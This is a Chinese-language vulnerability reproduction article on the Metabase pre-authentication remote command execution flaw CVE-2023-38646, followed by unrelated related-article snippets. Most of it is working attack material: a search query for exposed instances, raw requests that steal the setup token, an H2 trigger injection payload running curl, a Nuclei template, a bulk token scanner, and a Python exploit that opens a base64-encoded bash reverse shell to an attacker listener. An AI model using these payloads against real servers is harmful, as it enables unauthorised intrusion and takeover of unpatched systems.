【漏洞复现】Metabase 远程命令执行漏洞(CVE-2023-38646)

文章目录

  • 前言
  • 声明
  • 一、漏洞介绍
  • 二、影响版本
  • 三、漏洞原理
  • 四、漏洞复现
  • 五、修复建议


前言

Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞介绍

Metabase是美国Metabase公司的一个开源数据分析平台。Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。

Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,该漏洞源于允许攻击者以服务器的权限级别在服务器上执行任意命令

二、影响版本

在这里插入图片描述


三、漏洞原理

未经身份认证的远程攻击者利用该漏洞可以在服务器上以运行 Metabase 服务器的权限执行任意命令

四、漏洞复现

FOFA: app="Metabase"

在这里插入图片描述
验证漏洞是否存在:

GET /api/session/properties HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json

在这里插入图片描述
回显中存在Setup-token,使用token进行后续利用。(这里测试Dnslog回显)

POST /api/setup/validate HTTP/2
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 748

{
    "token": "d3*********************************e2",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl vl5fa6.dnslog.cn')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

在这里插入图片描述
有回显,漏洞存在!!!

其他验证方式

XPOC验证
在这里插入图片描述
Nuclei验证
nuclei.exe -u https://X.X.X.X/ -t CVE-2023-38646.yaml
在这里插入图片描述
CVE-2023-38646.yaml 内容如下

id: CVE-2023-38646

info:
  name: Metabase - Unauthorized RCE
  author: unknown
  severity: critical
  description: |
    Metabase has unauthorized access to execute arbitrary commands.
  reference:
    - https://mp.weixin.qq.com/s/ATFwFl-D8k9QfQfzKjZFDg
  tags: metabase,cve,cve2023

http:
  - raw:
      - |
        GET /api/session/properties HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /api/setup/validate HTTP/2
        Host: {{Hostname}}
        Content-Type: application/json
        Content-Length: 244

        {"token":"{{token}}","details":{"is_on_demand":false,"is_full_sync":false,"is_sample":false,"cache_ttl":null,"refingerprint":true,"auto_run_queries":true,"schedules":{},"details":{},"name":"test","engine":"mysql"}}}
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "we couldn't connect to the database"
    
    extractors:
      - type: regex
        part: body_1
        group: 1
        name: token
        regex:
          - '"setup-token":"(.*?)"'
        internal: true

除以上方法外,可以直接使用脚本获取token并反弹Shell

import requests
import argparse
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def get_setup_token(ip_address, line_number=None):
    endpoint = "/api/session/properties"
    protocols = ['https://', 'http://']

    for protocol in protocols:
        url = f"{protocol}{ip_address}{endpoint}"
        try:
            response = requests.get(url, verify=False)

            if response.status_code == 200:
                data = response.json()
                if "setup-token" in data and data["setup-token"] is not None:
                    print(f"{line_number}. Vulnerable Metabase Instance:-")
                    print(f"             IP: {ip_address}")
                    print(f"             Setup Token: {data['setup-token']}\n")
                else:
                    print(f"{line_number}. Setup token not found or is null for IP: {ip_address}\n")
                return  # exit the function if request was successful
        except requests.exceptions.RequestException as e:
            print(f"Failed to connect using {protocol[:-3].upper()} for {ip_address}. Trying next protocol...")

    print(f"{line_number}. Failed to connect to {ip_address} using both HTTP and HTTPS.\n")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Check setup token')
    parser.add_argument('--ip', type=str, help='IP address')
    parser.add_argument('--list', type=str, help='Filename containing list of IP addresses')
    args = parser.parse_args()

    if args.ip:
        get_setup_token(args.ip)
    elif args.list:
        with open(args.list, 'r') as f:
            for i, line in enumerate(f, start=1):
                ip_address = line.strip()
                get_setup_token(ip_address, i)
    else:
        print("Please provide either an IP address or a file containing a list of IP addresses.")

在这里插入图片描述

import requests
import argparse
import base64
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from urllib.parse import urlparse

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def get_setup_token_and_version(ip_address):
    endpoint = "/api/session/properties"
    url = f"{ip_address}{endpoint}"
    try:
        print(f"[DEBUG] Fetching setup token from {url}...")
        response = requests.get(url, verify=False)
        if response.status_code == 200:
            data = response.json()
            setup_token = data.get("setup-token")
            metabase_version = data.get("version", {}).get("tag")

            if setup_token is None:
                print(f"[DEBUG] Setup token not found or is null for IP: {ip_address}\n")
            else:
                print(f"[DEBUG] Setup Token: {setup_token}")
                print(f"[DEBUG] Version: {metabase_version}")

            return setup_token
    except requests.exceptions.RequestException as e:
        print(f"[DEBUG] Exception occurred: {e}")
        print(f"[DEBUG] Failed to connect to {ip_address}.\n")

def post_setup_validate(ip_address, setup_token, listener_ip, listener_port):
    payload = base64.b64encode(f"bash -i >&/dev/tcp/{listener_ip}/{listener_port} 0>&1".encode()).decode()

    print(f"[DEBUG] Payload = {payload}")

    endpoint = "/api/setup/validate"
    url = f"{ip_address}{endpoint}"
    headers = {'Content-Type': 'application/json'}
    data = {
        "token": setup_token,
        "details": {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules": {},
            "details": {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {{echo,{payload}}}|{{base64,-d}}|{{bash,-i}}')\n$$--=x",
                "advanced-options": False,
                "ssl": True
            },
            "name": "test",
            "engine": "h2"
        }
    }

    print(f"[DEBUG] Sending request to {url} with headers {headers} and data {json.dumps(data, indent=4)}")

    try:
        response = requests.post(url, headers=headers, json=data, verify=False)
        print(f"[DEBUG] Response received: {response.text}")
        if response.status_code == 200:
            print(f"[DEBUG] POST to {url} successful.\n")
        else:
            print(f"[DEBUG] POST to {url} failed with status code: {response.status_code}\n")
    except requests.exceptions.RequestException as e:
        print(f"[DEBUG] Exception occurred: {e}")
        print(f"[DEBUG] Failed to connect to {url}\n")

def preprocess_url(user_input):
    parsed_url = urlparse(user_input)
    protocol = f"{parsed_url.scheme}://" if parsed_url.scheme else "http://"
    netloc = parsed_url.netloc or parsed_url.path
    return protocol + netloc.rstrip('/')

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Check setup token')
    parser.add_argument('--rhost', type=str, help='Metabase server IP address (including http:// or https:// and port number if needed)')
    parser.add_argument('--lhost', type=str, help='Listener IP address')
    parser.add_argument('--lport', type=int, default=4444, help='Listener port (default is 4444)')
    args = parser.parse_args()

    print(f"[DEBUG] Original rhost: {args.rhost}")
    args.rhost = preprocess_url(args.rhost)
    print(f"[DEBUG] Preprocessed rhost: {args.rhost}")

    print(f"[DEBUG] Input Arguments - rhost: {args.rhost}, lhost: {args.lhost}, lport: {args.lport}")

    setup_token = get_setup_token_and_version(args.rhost)
    print(f"[DEBUG] Setup token: {setup_token}")
    if setup_token:
        post_setup_validate(args.rhost, setup_token, args.lhost, args.lport)

在这里插入图片描述

五、修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.metabase.com/blog/security-advisory
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/59966.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

docker配置远程连接端口

配置docker 配置远程连接端口 vi /lib/systemd/system/docker.servicesystemctl daemon-reload && systemctl restart docker firewall-cmd --zonepublic --add-port2375/tcp --permanenthttp://node2:2375/version

Leetcode.931 下降路径最小和

题目链接 Leetcode.931 下降路径最小和 rating : 1573 题目描述 给你一个 n x n 的 方形 整数数组 m a t r i x matrix matrix ,请你找出并返回通过 m a t r i x matrix matrix 的下降路径 的 最小和 。 下降路径 可以从第一行中的任何元素开始,并从…

机器学习基础知识(1)

什么是机器学习 机器学习是一种通过输入大量数据来构建一种模型(网络),这个训练好的模型将会被用来预测或执行某些操作,这个训练的过程和方法就是机器学习。 我们也可以理解为构建一个“函数”,使得这个函数面对我们…

如何维护你的电脑:打造IT人的重要武器

文章目录 方向一:介绍我的电脑方向二:介绍我的日常维护措施1. 定期清理和优化2. 保持良好的上网习惯和安全防护3. 合理安排软件和硬件的使用4. 数据备份和系统还原 方向三:推荐的维护技巧1. 数据分区和多系统安装2. 内部清洁和散热优化3. 安全…

Html页面连线工具

在项目中遇了一个需要连线配置的功能。该功能引用了 bootstrap、layui 、svg-line等插件 下载链接 lixhttps://download.csdn.net/download/dongyan3595/88168121

docker 部署mysql 5.6集群

docker搭建mysql的集群(一主双从) 1.拉取镜像 docker pull mysql:5.6 2.启动master容器 docker run -it -d --name mysql_master -p 3306:3306 --ip 192.168.162.100 \ -v /data/mysql_master/mysql:/var/lib/mysql \ -v /data/mysql_master/conf.d…

【C++基础(六)】类和对象(中) --拷贝构造,运算符重载

💓博主CSDN主页:杭电码农-NEO💓   ⏩专栏分类:C初阶之路⏪   🚚代码仓库:NEO的学习日记🚚   🌹关注我🫵带你学习C   🔝🔝 类和对象 1. 前言2. 拷贝构造函数2.1 对拷贝构造函数…

5G网络在中国已经普及了,政策支持加大5G投入力度,这意味着什么呢?

5G网络是新型基础设施的重要组成部分,中国5G商用牌照已发放四年多,目前发展得怎样了?最近,官方公布了最新数据,截至7月底,中国5G移动电话用户已达7亿户,5G基站累计达到293.7万个,5G覆…

HDFS介绍

目录 ​编辑 一、HDFS基础 1.1 概述 1.2 HDFS的设计目标 1.2.1 硬件故障 1.2.2 流式数据访问 1.2.3 超大数据集 1.2.4 简单的一致性模型 1.2.5 移动计算而不是移动数据 1.2.6 跨异构硬件和软件平台的可移植性 1.3 基础概念 1.3.1 块(Block) 1.3.2 复制…

Nodejs 第四章(Npm install 原理)

在执行npm install 的时候发生了什么? 首先安装的依赖都会存放在根目录的node_modules,默认采用扁平化的方式安装,并且排序规则.bin第一个然后系列,再然后按照首字母排序abcd等,并且使用的算法是广度优先遍历,在遍历依…

STM32F0实现IAP升级固件

好几年前写过一篇关于 STM32 bootloader 升级固件的博客,但是使用的芯片是 STM32 F4 系列,升级固件的方式是在外部 flash 的 fat32 文件系统中存入固件文件,reset 后通过特定按键进入 IAP 程序。 最近需要在 STM32 上实现同样的 IAP 功能&am…

过程:从虚拟机上添加 git 并成功提交到 GitLab 的全过程

Ⅰ、准备工作: 1、Git 查看: 其一、命令:git --version // 此时就能在虚拟机环境下看到 git 的版本为: git version 2.41.0 其二、如何在虚拟机上安装 git : A、命令 : sudo apt-get install git B、然后再输入虚…

HDFS的QJM方案

Quorum Journal Manager仲裁日志管理器 介绍主备切换,脑裂问题解决---ZKFailoverController(zkfc)主备切换,脑裂问题解决-- Fencing(隔离)机制主备数据状态同步问题解决 HA集群搭建集群基础环境准备HA集群规…

宋浩概率论笔记(三)随机向量/二维随机变量

第三更:本章的内容最重要的在于概念的理解与抽象,二重积分通常情况下不会考得很难。此外,本次暂且忽略【二维连续型随机变量函数的分布】这一章节,非常抽象且难度较高,之后有时间再更新。

C++ 深拷贝和浅拷贝

虽然我们知道了拷贝构造函数,但是大多数简单程序中都不需要特别编写拷贝构造函数,隐含的拷贝构造函数足以实现对象间数据元素的一一对应复制。但是隐含的拷贝构造函数并不总是适用的,因为它完成的只是浅拷贝。 1.浅拷贝 【例】对象的浅拷贝…

面试热题(打家窃舍)

一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响小偷偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。 给定一个代表每个房屋存放金额的非负…

通话降噪算法在手机和IOT设备上的应用和挑战

随着电子产品的升级换代,用户对通话质量的要求也越来越高。通话降噪算法对通话质量起到了关键核心的作用。计算资源的提升使得深度学习模型在便携式的低功耗芯片上面跑起来了,器件成本降低让IoT设备开始使用骨导传感器,,那怎么样才…

Python接口自动化-requests模块之post请求

一、源码解析 def post(url, dataNone, jsonNone, **kwargs):r"""Sends a POST request.:param url: URL for the new :class:Request object.:param data: (optional) Dictionary, list of tuples, bytes, or file-likeobject to send in the body of the :cla…

【MySQL】学习汇总(完整思维导图)

用心打造超详细MySQL基础学习教程,文末附系列完整思维导图 内容导航 新手村 SQL入门(一)常见函数使用(二)约束(三)多表查询(四)事务(五) 进阶路 存储引擎(六) SQL性能分析 (七) 索引 (八) SQL优化(九) 视图(十) 存储过程(十一) 触发器(十二) 锁(十三) MySQL管理(十四)…

SpringBoot3---核心特性---2、Web开发I

星光下的赶路人star的个人主页 如果我们总是等待绝对的一切就绪,那我们将永远无法开始 文章目录 1、WebMvcAutoConfiguration1.1 生效条件1.2 效果1.3 WebMvcConfigure接口1.4 静态资源规则代码1.5 EnableWebMvcConfiguration源码1.6 为什么容器中放一个WebMvcConfi…